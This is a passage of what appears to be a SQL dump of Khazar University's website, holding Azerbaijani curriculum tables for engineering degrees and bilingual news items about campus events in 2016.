style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;MGT 310</td><td width=\"56%\" style=\"vertical-align:top\">Menecement və təşkilatçılıq</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;CIV 400</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Yay təcrübəsi</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;İxtisasla bağlı iki seçmə fənn</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">6</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\"><strong>SƏRBƏST SEÇMƏ FƏNLƏR</strong><strong>&nbsp;</strong></td><td width=\"56%\" style=\"vertical-align:top\"><strong>&nbsp;</strong></td><td width=\"12%\" style=\"text-align:center;vertical-align:top\"><strong>6</strong></td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Seçmə fənn 1</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Seçmə fənn 2</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td colspan=\"2\" width=\"87%\"><strong>Cəmi</strong></td><td width=\"12%\" style=\"text-align:center\"><strong>128</strong></td></tr></tbody></table>Qeyd: Fakültə digər alternativ fənlər&nbsp; təklif edə bilər&nbsp;&nbsp;&nbsp;<strong>Elektronika, Telekommunikasiya və Radio mühəndisliyi üzrə bakalavr dərəcəsi proqramı</strong>Elektronika, Telekommunikasiya və Radio mühəndisliyinin tədrisi&nbsp; tələbələri qüsursuz peşəkar təhsillə təmin etmək üçün nəzərdə tutulub. Əsas elmlərlə əlaqəli fənləri tədrisindən sonra tələbələrə ixtisasla bağli dərslər təklif olunur. Dərəcə əldə etmək üçün tələbələrə praktiki təcrübə və xüsusi olaraq yay təcrübəsi götürmək tələb olunur. Seçmə fənlərin təklifi &nbsp;tələbələrə xüsusi sahələrdə öz biliklərini inkişaf etdirməyə imkan verir.&nbsp;<table cellspacing=\"0\" cellpadding=\"0\" width=\"503\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;border:1px solid #000\"><tbody><tr><td width=\"144\" style=\"vertical-align:top\"><strong>Kod</strong></td><td width=\"240\" style=\"vertical-align:top\"><strong>Fənlər</strong></td><td colspan=\"2\" width=\"81\" style=\"vertical-align:top\"><strong>Kreditlər</strong></td></tr><tr><td colspan=\"3\" width=\"407\" style=\"vertical-align:top\"><strong>&nbsp;Universitet tələbləri</strong></td><td width=\"58\" style=\"text-align:center;vertical-align:top\">27</td></tr><tr><td colspan=\"3\" width=\"407\" style=\"vertical-align:top\"><strong>&nbsp;</strong><strong>Ü</strong><strong>mumt</strong><strong>ə</strong><strong>hsil</strong><strong>&nbsp;</strong><strong>t</strong><strong>ə</strong><strong>l</strong><strong>ə</strong><strong>bl</strong><strong>ə</strong><strong>ri</strong><strong>&nbsp;(</strong><strong>Hesab</strong><strong>&nbsp;</strong><strong>I</strong><strong>&nbsp;</strong><strong>daxil</strong><strong>&nbsp;</strong><strong>olmaqla</strong><strong>)</strong></td><td width=\"58\" style=\"text-align:center;vertical-align:top\">21</td></tr><tr><td colspan=\"3\" width=\"407\" style=\"vertical-align:top\"><strong>İxtisas tələblər</strong><strong>i</strong></td><td width=\"58\" style=\"text-align:center;vertical-align:top\">74</td></tr><tr><td colspan=\"3\" width=\"407\" style=\"vertical-align:top\"><strong>Riyaziyyat və elm&nbsp; (</strong><strong>cəmi</strong><strong>&nbsp;18 kredit) &nbsp;</strong></td><td width=\"58\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;MATH 102</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Riyaziyyat II</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;MATH 310</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Diferensial tənliklərin tətbiqi</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Riyaziyyat üzrə iki seçmə fənn</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">6</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;PHSC 111</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Fizika I</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;PHSC 112</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Fizika II &nbsp;</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td colspan=\"3\" width=\"407\" style=\"vertical-align:top\">&nbsp;Mühəndisliyin əsasları (cəmi 14 kredit)</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;EENG 301</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Dövrələr nəzəriyyəsi</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;CMS 303</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Rəqəmsal məntiq</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;CMS 350</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Kompüter qrafikası</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;MGT 310</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Menecment və təşkilatçılıq</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">İxtisas (cəmi 42 kredit)</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Yarımkeçirici cihazlar və modelləşdirmə</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Analoq elektronika</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Rəqəmsal elektronika</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Kompüter şəbəkələri və rabitə</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Telekommunikasiya sistemləri</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Telekommunikasiya şəbəkələri</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Elektromaqnit nəzəriyyəsi</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;Radio mühəndisliyinin əsasları</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">&nbsp;İxtisaslar üzrə üç seçmə fənn</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">9</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">Yay təcrübəsi</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\"><strong>&nbsp;</strong><strong>SƏRBƏST SEÇMƏ FƏNLƏR</strong><strong>&nbsp;</strong></td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\"><strong>&nbsp;</strong></td><td width=\"58\" style=\"text-align:center;vertical-align:top\"><strong>6</strong></td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">Seçmə fənn 1</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\">Seçmə fənn 2 &nbsp;</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"144\" style=\"vertical-align:top\"><strong>Cəmi</strong></td><td colspan=\"2\" width=\"263\" style=\"vertical-align:top\"><strong>&nbsp;</strong></td><td width=\"58\" style=\"text-align:center;vertical-align:top\"><strong>128</strong></td></tr><tr height=\"0\"><td width=\"156\"><br style=\"margin-bottom:10px\"></td><td width=\"260\"><br style=\"margin-bottom:10px\"></td><td width=\"25\"><br style=\"margin-bottom:10px\"></td><td width=\"63\"><br style=\"margin-bottom:10px\"></td></tr></tbody></table>&nbsp;Qeyd: Fakültə digər alternativ fənlər&nbsp; təklif edə bilər&nbsp;&nbsp;<strong>Kimya mühəndisliyi üzrə bakalavr dərəcə proqramı</strong>&nbsp;<table cellspacing=\"0\" cellpadding=\"0\" width=\"775\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;float:left;border:1px solid #000\"><tbody><tr><td width=\"57\">&nbsp;</td><td width=\"198\">2015-ci il üçün Müvəqqəti Kurikulum</td><td width=\"60\">&nbsp;</td><td width=\"50\">&nbsp;</td><td width=\"39\">&nbsp;</td><td width=\"70\">&nbsp;</td><td width=\"191\">&nbsp;</td><td width=\"57\">&nbsp;</td><td width=\"53\">&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td colspan=\"6\">Xəzər Universiteti</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td colspan=\"6\">Kimya mühəndisliyi üzrə bakalavr dərəcə proqramı</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td colspan=\"8\">1-ci il</td></tr><tr><td width=\"57\">Kodlar</td><td width=\"198\">Payız semesteri</td><td width=\"60\">KU</td><td>ECTS</td><td>&nbsp;</td><td>Kodlar</td><td width=\"191\">Yaz semesteri</td><td width=\"57\">KU</td><td>ECTS</td></tr><tr><td width=\"57\">AZLL 101</td><td width=\"198\">Azərbaycan dili&nbsp;</td><td width=\"60\">3</td><td>6</td><td>&nbsp;</td><td>AZH 150</td><td width=\"191\">Azərbaycan tarixi&nbsp;</td><td width=\"57\">3</td><td>6</td></tr><tr><td width=\"57\">MATH 101</td><td width=\"198\">Riyaziyyat_I</td><td width=\"60\">3</td><td>6</td><td>&nbsp;</td><td>MATH 102</td><td width=\"191\">Riyaziyyat__II</td><td width=\"57\">3</td><td>6</td></tr><tr><td width=\"57\">PHSC 111</td><td width=\"198\">Fizika _I</td><td width=\"60\">3</td><td>6</td><td>&nbsp;</td><td>PHSC 112</td><td width=\"191\">Fizika _II</td><td width=\"57\">3</td><td>6</td></tr><tr><td width=\"57\">CHEM 111</td><td width=\"198\">Kimya_I</td><td width=\"60\">3</td><td>6</td><td>&nbsp;</td><td>CHEM 112</td><td width=\"191\">Kimya_II</td><td width=\"57\">3</td><td>6</td></tr><tr><td width=\"57\">CMS 101</td><td width=\"198\"><strong>Kompüter Elmlərinə giriş</strong></td><td width=\"60\">3</td><td>6</td><td>&nbsp;</td><td>CMS 202</td><td width=\"191\">&nbsp;<strong>Kompüterlərin mühəndislikdə tətbiqi</strong></td><td width=\"57\">3</td><td>6</td></tr><tr><td width=\"57\">ENGL 101</td><td width=\"198\">Ingilis dili_I</td><td width=\"60\">4</td><td>8</td><td>&nbsp;</td><td>ENGL 102</td><td width=\"191\">Ingilis dili _II</td><td width=\"57\">4</td><td>8</td></tr><tr><td width=\"57\">&nbsp;</td><td width=\"198\">Kredit</td><td>19</td><td>38</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"191\">Kredit</td><td>19</td><td>38</td></tr><tr><td width=\"57\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td width=\"198\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td colspan=\"8\">2-ci il</td></tr><tr><td width=\"57\">Kodlar</td><td>Payız semesteri</td><td>KU</td><td>ECTS</td><td>&nbsp;</td><td>Kodlar</td><td width=\"191\">Yaz semesteri</td><td>KU</td><td>ECTS</td></tr><tr><td width=\"57\">ChE201</td><td width=\"198\">Kimya mühəndisliyinə giriş</td><td>3</td><td>6</td><td>&nbsp;</td><td>CHE 290</td><td width=\"191\">Material və Enerji Tarazlığı</td><td>3</td><td>6</td></tr><tr><td width=\"57\">ENGL 103</td><td width=\"198\">Elmi İngilis Dili</td><td>4</td><td>8</td><td>&nbsp;</td><td>CIV 101</td><td width=\"191\">Texniki təsvirlər (AutoCAD)_I</td><td>3</td><td>6</td></tr><tr><td width=\"57\">CHEM 201</td><td width=\"198\">Üzvi kimya _ı</td><td>3</td><td>6</td><td>&nbsp;</td><td>CHEM 202</td><td width=\"191\">Üzvi kimya _II</td><td>3</td><td>6</td></tr><tr><td width=\"57\">CHEM 113</td><td width=\"198\">Analitik kimya laboratoriyası</td><td>1</td><td>2</td><td>&nbsp;</td><td>ENGR 303</td><td width=\"191\">Termodinamika 1</td><td>3</td><td>6</td></tr><tr><td width=\"57\">CMS 204</td><td width=\"198\"><strong>C Proqramlaşdırma</strong>&nbsp;</td><td>3</td><td>6</td><td>&nbsp;</td><td>MATH 312</td><td width=\"191\">Diferensial tənliklər</td><td>3</td><td>6</td></tr><tr><td width=\"57\">MATH 132</td><td width=\"198\">Xətti Cəbr</td><td>3</td><td>6</td><td>&nbsp;</td><td>ENGR 310</td><td width=\"191\">Mühəndislik mexanikası</td><td>3</td><td>6</td></tr><tr><td width=\"57\">&nbsp;</td><td width=\"198\">Kredit</td><td>17</td><td>34</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"191\">Kredit</td><td>18</td><td>36</td></tr><tr><td width=\"57\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td width=\"198\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td colspan=\"8\">3-cü il</td></tr><tr><td width=\"57\">Kodlar</td><td>Payız semesteri</td><td>KU</td><td>ECTS</td><td>&nbsp;</td><td>Kodlar</td><td width=\"191\">Yaz semesteri</td><td>KU</td><td>ECTS</td></tr><tr><td width=\"57\">&nbsp;ENGR 210</td><td width=\"198\">Maye Mexanikası + Laboratoriya</td><td>3</td><td>6</td><td>&nbsp;</td><td>CHEM 331</td><td width=\"191\">İstilikötürmə + Laboratoriya</td><td>3</td><td>6</td></tr><tr><td width=\"57\">&nbsp;ENGR 203</td><td width=\"198\">Materialların gücü</td><td>3</td><td>6</td><td>&nbsp;</td><td>CHEM 310</td><td width=\"191\">Vahid əməliyyat &nbsp;I</td><td>3</td><td>6</td></tr><tr><td width=\"57\">CHEM 311</td><td width=\"198\">Fiziki kimya</td><td>3</td><td>6</td><td>&nbsp;</td><td>ENGR 313</td><td width=\"191\">MatLab + CFD</td><td>3</td><td>6</td></tr><tr><td width=\"57\">CHEM 330</td><td width=\"198\">Kütlə transferi</td><td>3</td><td>6</td><td>&nbsp;</td><td>ENGR 304</td><td width=\"191\">Termodinamika 2</td><td>3</td><td>6</td></tr><tr><td width=\"57\">&nbsp;MATH 340</td><td width=\"198\">Tətbiqi Statistika</td><td>3</td><td>6</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"191\">Sosial Elmlər **</td><td>3</td><td>6</td></tr><tr><td width=\"57\">&nbsp;</td><td width=\"198\">Humanitar Elmlər*</td><td>3</td><td>6</td><td>&nbsp;</td><td>CHEM 450</td><td width=\"191\">Yay təcrübəsi</td><td>3</td><td>6</td></tr><tr><td width=\"57\">&nbsp;</td><td width=\"198\">Kredit</td><td>18</td><td>36</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"191\">Kredit</td><td>18</td><td>36</td></tr><tr><td width=\"57\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td width=\"198\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td colspan=\"8\">4-cü il</td></tr><tr><td width=\"57\">Kodlar</td><td>Payız semesteri</td><td>KU</td><td>ECTS</td><td>&nbsp;</td><td>Kodlar</td><td width=\"191\">Yaz semesteri</td><td>KU</td><td>ECTS</td></tr><tr><td width=\"57\">CHEM 312</td><td width=\"198\">Vahid əməliyyat II</td><td>3</td><td>6</td><td>&nbsp;</td><td>&nbsp;PETE 402</td><td width=\"191\"><strong>Neftçıxarma Texnologiyası</strong></td><td>3</td><td>6</td></tr><tr><td width=\"57\">CHEM 440</td><td width=\"198\">Proses nəzarəti</td><td>3</td><td>6</td><td>&nbsp;</td><td>CHEMI 430</td><td width=\"191\">Kimya Mühəndisliyi Dizaynı</td><td>3</td><td>6</td></tr><tr><td width=\"57\">CHEM 410</td><td width=\"198\">Kinetika və Reaksiya</td><td>3</td><td>6</td><td>&nbsp;</td><td>PETE 560</td><td width=\"191\">Modelləmə və Simulyasiya</td><td>3</td><td>6</td></tr><tr><td width=\"57\">CHEMI 420</td><td width=\"198\">Kimya mühəndisliyində Seminar Proqram&nbsp; təminatı</td><td>3</td><td>6</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"191\">Seçmə ixtisas fənni</td><td>3</td><td>6</td></tr><tr><td width=\"57\">&nbsp;</td><td width=\"198\">Seçmə ixtisas fənni</td><td>3</td><td>6</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"191\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td width=\"198\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"191\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td width=\"198\">Kredit</td><td>15</td><td>30</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"191\">Kredit</td><td>12</td><td>24</td></tr><tr><td width=\"57\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td width=\"57\">&nbsp;</td><td>Ümumi</td><td>136</td><td>272</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr></tbody></table><p></p>'),(1633,1009,'en','Latest Career Center Project','On April 27, 2016, a project entitled “Activating the leadership potential of young people – AEISEC” was implemented with the coordination of the Khazar University Career Center. ','<p>On April 27, 2016, a project entitled\r\n“Activating the leadership potential of young people – AEISEC” was implemented\r\nwith the coordination of the Khazar University Career Center. The project\r\nprovided students with detailed information about how to join the Global\r\nCitizen program to volunteer abroad. </p>\r\n<p>At the end of the event, students’\r\nquestions were answered. </p>\r\n<p>&nbsp;</p>'),(721,512,'en','Presentation on Carnegie Research Fellowship Program','On March 10, 2016, the International Affairs Office organized a presentation about the Carnegie Research Fellowship Program in collaboration with American Councils for International Education in Azerbaijan. The presentation took place on the Nefcthilar campus of Khazar University.','<p>On March 10, 2016, the International\r\nAffairs Office organized a presentation about the Carnegie Research\r\nFellowship Program in collaboration with American Councils for International\r\nEducation in Azerbaijan. The presentation took place on the Nefcthilar campus\r\nof Khazar University. </p>\r\n<p>Alexey Kharlamov\r\n(Senior Program Officer for Eurasia at National Council for Eurasian and East\r\nEuropean Research (USA) and American Councils for International Education)\r\nprovided detailed information about the program, application procedure, and\r\nfinancial provisions. </p>\r\n<p>Carnegie Research\r\nFellowship Program is a program of the National Council for Eurasian and East\r\nEuropean Research (NCEEER) in conjunction with the American Councils for\r\nInternational Education: ACTR/ACCELS and is supported by a grant from the Carnegie\r\nCorporation of New York. The program provides opportunities for university\r\nfaculty, researchers, advanced graduate students, and scholars in social\r\nsciences and humanities to conduct research in the USA.</p>\r\n<p>The presentation\r\nended with a question and answer session.&nbsp;</p>'),(722,512,'az','Karneqi Tədqiqat Proqramı haqqında təqdimat oldu','2016-cı il martın 11-də Xəzər Universitetinin “Neftçilər”kampusunda Beynəlxalq Əlaqələr Şöbəsivə Beynəlxalq Təhsil üzrə Amerika Şurasının Azərbaycandakı ofisi Karneqi Tədqiqat Proqramı (Carnegie Research Fellowship Program) haqqında təqdimat keçirdi.','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı\r\nil martın 11-də Xəzər\r\nUniversitetinin “Neftçilər”kampusunda Beynəlxalq Əlaqələr Şöbəsivə Beynəlxalq Təhsil üzrə Amerika Şurasının Azərbaycandakı\r\nofisi Karneqi Tədqiqat Proqramı <em>(<em>Carnegie Research Fellowship Program</em>)</em>\r\nhaqqında təqdimat keçirdi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Avrasiya\r\nvə Şərqi Avropa üzrə Milli Araşdırmalar Şurası (ABŞ) və Beynəlxalq Təhsil üzrə\r\nAmerika Şurasının Avrasiya üzrə aparıcı mütəxəssisi Aleksey Xarlamov proqram,\r\nproqrama müraciət proseduru və maliyyə dəstəyi haqqında detallı məlumat verdi. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Karneqi\r\nTədqiqat Proqramı Avrasiya və Şərqi Avropa üzrə Milli Araşdırmalar Şurası (ABŞ)\r\nvə Beynəlxalq Təhsil üzrə Amerika Şurasının proqramıdır. Proqram universitet müəllim\r\nheyəti, tədqiqatçılar, magistr və doktorant tələbələr üçün ABŞ-da sosial və\r\nhumanitar elmlər sahəsində tədqiqat aparmaq imkanını verir. Proqramı Nyu Yorkun\r\nKarneqi Korporasiyasının qrantı dəstəkləyir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Təqdimatın\r\nsonunda iştirakçıları maraqlandıran suallar cavablandırıldı.&nbsp;</p>'),(723,513,'az','“Bərk tullantıların idarə olunması” mövzusunda mühazirə olacaq','2016-cı il martın 17-də saat 15:20-də Coğrafiya və ətraf mühit departamenti Xəzər Universitetində (otaq 301N) Ətraf mühit kursu çərçivəsində açıq dərs keçirir. Açıq dərsdə “Təmiz şəhər” Şirkətinin nümayəndəsi “Bərk tullantıların idarə olunması” (Solid Waste Management) mövzusunda mühazirə oxuyacaq.','<p>2016-cı il martın 17-də saat 15:20-də\r\nCoğrafiya və ətraf mühit departamenti Xəzər Universitetində (otaq 301N) Ətraf\r\nmühit kursu çərçivəsində açıq dərs keçirir. Açıq dərsdə “Təmiz şəhər” Şirkətinin\r\nnümayəndəsi “Bərk tullantıların idarə olunması” (<em>Solid Waste Management</em>)\r\nmövzusunda mühazirə oxuyacaq. </p>\r\n<p>Arzu edənlər iştirak edə bilərlər.</p>'),(724,513,'en','Solid Waste Management Lecture','On March 17, 2016 at 15:20, the Department of Geography and the Environment will host a masterclass on environmental issues. The class will cover solid waste management and will be taught by a representative of  the “Təmiz şəhər” (Clean City) company.','<p>On March 17, 2016 at 15:20, the Department\r\nof Geography and the Environment will host a masterclass on environmental\r\nissues. The class will cover solid waste management and will be taught by a\r\nrepresentative of&nbsp; the “Təmiz şəhər” (Clean City) company. </p>\r\n<p>Everyone is welcome to attend.&nbsp;</p>'),(725,514,'en','Palestinian Ambassador to Azerbaijan Speaks at Khazar','On March 11, 2016, the Department of Political Science and International Relations at Khazar University hosted H. E. Nasser Abdul Kareem, the Palestinian Ambassador to Azerbaijan, for a guest lecture about Palestine--European Union relations in the context of the European Neighborhood Policy. ','<p>On March 11, 2016, the Department of Political Science and\r\nInternational Relations at Khazar University hosted H. E. Nasser Abdul Kareem,\r\nthe Palestinian Ambassador to Azerbaijan, for a guest lecture about\r\nPalestine--European Union relations in the context of the European Neighborhood\r\nPolicy. He spoke on the EU assistance to Palestinians, underlining the fact\r\nthat the EU remains the largest provider of aid to Palestine to support its\r\ninternally displaced people and the state structures. Mr. Kareem mentioned the\r\nEU-administered PEGASE program, which provides financial assistance to the\r\nPalestinian Authority, and the United Nations Relief and Works Agency for\r\nPalestine Refugees in the Near East (UNRWA), which provides services to\r\nPalestinians, who fled their homes following the 1948 conflict. Among other\r\nthings, he informed the audience about the Interim Association Agreement on\r\nTrade and Cooperation that was signed between the EU and the Palestine\r\nLiberation Organization in 1997 with the aim of providing Palestinian\r\nindustrial goods with duty-free access to the EU markets.</p>'),(726,515,'az','“Bərk tullantıların idarə olunması” mövzusunda mühazirə olacaq','2016-cı il martın 17-də saat 15:20-də Coğrafiya və ətraf mühit departamenti Xəzər Universitetində (otaq 301N) Ətraf mühit kursu çərçivəsində açıq dərs keçirir. Açıq dərsdə “Təmiz şəhər” Şirkətinin nümayəndəsi “Bərk tullantıların idarə olunması” (Solid Waste Management) mövzusunda mühazirə oxuyacaq.','<p>2016-cı il martın 17-də saat 15:20-də\r\nCoğrafiya və ətraf mühit departamenti Xəzər Universitetində (otaq 301N) Ətraf\r\nmühit kursu çərçivəsində açıq dərs keçirir. Açıq dərsdə “Təmiz şəhər” Şirkətinin\r\nnümayəndəsi “Bərk tullantıların idarə olunması” (<em>Solid Waste Management</em>)\r\nmövzusunda mühazirə oxuyacaq. </p>\r\n<p>Arzu edənlər iştirak edə bilərlər.</p>\r\n<p>&nbsp;</p>'),(727,515,'en','Solid Waste Management Lecture','On March 17, 2016 at 15:20, the Department of Geography and the Environment will host a masterclass on environmental issues. The class will cover solid waste management and will be taught by a representative of  the “Təmiz şəhər” (Clean City) company.','<p>On March 17, 2016 at 15:20, the Department\r\nof Geography and the Environment will host a masterclass on environmental\r\nissues. The class will cover solid waste management and will be taught by a\r\nrepresentative of&nbsp; the “Təmiz şəhər” (Clean City) company. </p>\r\n<p>Everyone is welcome to attend. </p>\r\n<p>&nbsp;</p>'),(728,516,'en','Representatives of Embassy of Iraq Visit Dunya School','On March 10, 2016, Dr. Fadhil Awad Al-Shuwaili, Charge d\'affaires of the Embassy of the Republic of Iraq, visited Dunya School, an affiliate of Khazar University. The visit was a follow-up to the meeting at the Embassy of Iraq held earlier this year and organized by the International Affairs Office in the framework of the recruitment plan for the 2016-2017 academic year. ','<p>On March 10, 2016, Dr. Fadhil Awad Al-Shuwaili, Charge d\'affaires&nbsp;of the Embassy of\r\nthe&nbsp;Republic of Iraq, visited Dunya School, an affiliate of Khazar\r\nUniversity. The visit was a follow-up to the meeting at the Embassy of Iraq held earlier this year and organized by the\r\nInternational Affairs Office in the framework of the recruitment plan for the 2016-2017 academic year.&nbsp; </p>\r\n<p>Ms. Marufe Madatli, Dunya\r\nSchool Director, and Ms. Rena Hasanova, IB Program Coordinator, hosted Mr.\r\nFadhil Awad Al-Shuwaili and his translator Nemet Aghali. Ms. Madatli gave a presentation about the school, study\r\nprograms, organization of classes, extracurricular activities, and\r\nresources. Ms. Rena Hasanova spoke about the <a href=\"https://en.wikipedia.org/wiki/International_Baccalaureate_Organization\" 